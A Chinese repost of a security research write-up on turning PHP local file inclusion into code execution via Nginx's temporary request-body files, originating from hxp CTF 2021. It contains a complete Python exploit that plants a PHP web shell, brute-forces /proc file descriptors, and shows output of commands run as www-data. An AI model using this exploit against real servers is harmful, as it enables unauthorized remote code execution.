Nginx协助的PHP LFI
Origin:(https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)
From:https://bierbaumer.net/security/php-lfi-with-nginx-assistance/(发布于: 2021 年 12 月 26 日)
这篇文章介绍了一种利用本地文件包含(LFI)漏洞的新方法,该方法具有最大的通用性,只需假设 PHP 与 Nginx 一起在通用标准配置下运行即可。该技术是在开发hxp CTF 2021 的includer's revenge/counter challenges 时发现的。
PHP 本地文件夹杂 (LFI) 技术在安全研究领域有着悠久的历史,在 CTF 社区中也很流行。多年来已发布了许多技巧:
PHP_SESSION_UPLOAD_PROGRESS技巧 -https://blog.orange.tw/2018/10/(链接已失效)
使用包装器(如compress.zlib://)上传临时文件 -https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
临时文件/FindFirstFile技巧https://gynvael.coldwind.pl/?id=376
使用phpinfo()辅助 LFI -https://insomniasec.com/cdn-assets/LFI_With_PHPInfo_Assistance.pdf
过时的/proc/self/environ技巧 -https://www.exploit-db.com/papers/12886
过时的/var/log/apache2/*log(这是否曾经有效)?
等等。
目前大多数 LFI 开发技术都依赖于 PHP 能够创建某种形式的临时文件或会话文件。让我们看看下面的例子:(下载测试)
PHP代码:FPM / PHP config:Setup / hardening:幸运的是,PHP 目前通常是通过 PHP-FPM 和 Nginx 部署的。Nginx 提供了一个容易被忽视的客户端正文缓冲功能,如果客户端(不限于POST)大于某个阈值,Nginx 就会写入临时文件。
如果 Nginx 以与 PHP 相同的用户身份运行(通常以 www-data 的身份运行),则无需以其他方式创建文件,就能利用该功能实现 LFI。
相关 Nginx 代码:可以看到,tempfile 在被 Nginx 打开后立即被取消链接。幸运的是,procfs 仍可用于通过竞争获取对已删除文件的引用:注意:本例中不能直接包含/proc/34/fd/15 ,因为 PHP 的include函数会将路径解析为/var/lib/nginx/body/0000001368 (已删除),而文件系统中并不存在该路径。幸运的是,可以通过一些间接方法绕过这个小限制,例如 /proc/self/fd/34/.../.../.../34/fd/15,最终将执行已删除的/var/lib/nginx/body/0000001368文件的内容。
完整EXP:输出:
From:https://bierbaumer.net/security/php-lfi-with-nginx-assistance/(发布于: 2021 年 12 月 26 日)
这篇文章介绍了一种利用本地文件包含(LFI)漏洞的新方法,该方法具有最大的通用性,只需假设 PHP 与 Nginx 一起在通用标准配置下运行即可。该技术是在开发hxp CTF 2021 的includer's revenge/counter challenges 时发现的。
PHP 本地文件夹杂 (LFI) 技术在安全研究领域有着悠久的历史,在 CTF 社区中也很流行。多年来已发布了许多技巧:
PHP_SESSION_UPLOAD_PROGRESS技巧 -https://blog.orange.tw/2018/10/(链接已失效)
使用包装器(如compress.zlib://)上传临时文件 -https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
临时文件/FindFirstFile技巧https://gynvael.coldwind.pl/?id=376
使用phpinfo()辅助 LFI -https://insomniasec.com/cdn-assets/LFI_With_PHPInfo_Assistance.pdf
过时的/proc/self/environ技巧 -https://www.exploit-db.com/papers/12886
过时的/var/log/apache2/*log(这是否曾经有效)?
等等。
目前大多数 LFI 开发技术都依赖于 PHP 能够创建某种形式的临时文件或会话文件。让我们看看下面的例子:(下载测试)
PHP代码:
<?php include_once($_GET['file']);
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...
如果 Nginx 以与 PHP 相同的用户身份运行(通常以 www-data 的身份运行),则无需以其他方式创建文件,就能利用该功能实现 LFI。
相关 Nginx 代码:
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t fd;
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);
if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}
return fd;
}
...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...
完整EXP:
#!/usr/bin/env python3
import sys, threading, requests
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
# find nginx worker processes
r = requests.get(URL, params={
'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')
r = requests.get(URL, params={
'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
nginx_workers = []
for pid in range(pid_max):
r = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})
if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
done = False
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r = requests.get(URL, params={
'file': f,
'c': f'id'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
$ ./pwn.py 127.0.0.1 1337
cpus: 2; pid_max: 32768
nginx worker found: 33
nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
评论2次
之前看到过这个问题,也是忙着忙着就忽略了
有幸刷到过这个问题, 没有细看, 死去的回忆在攻击我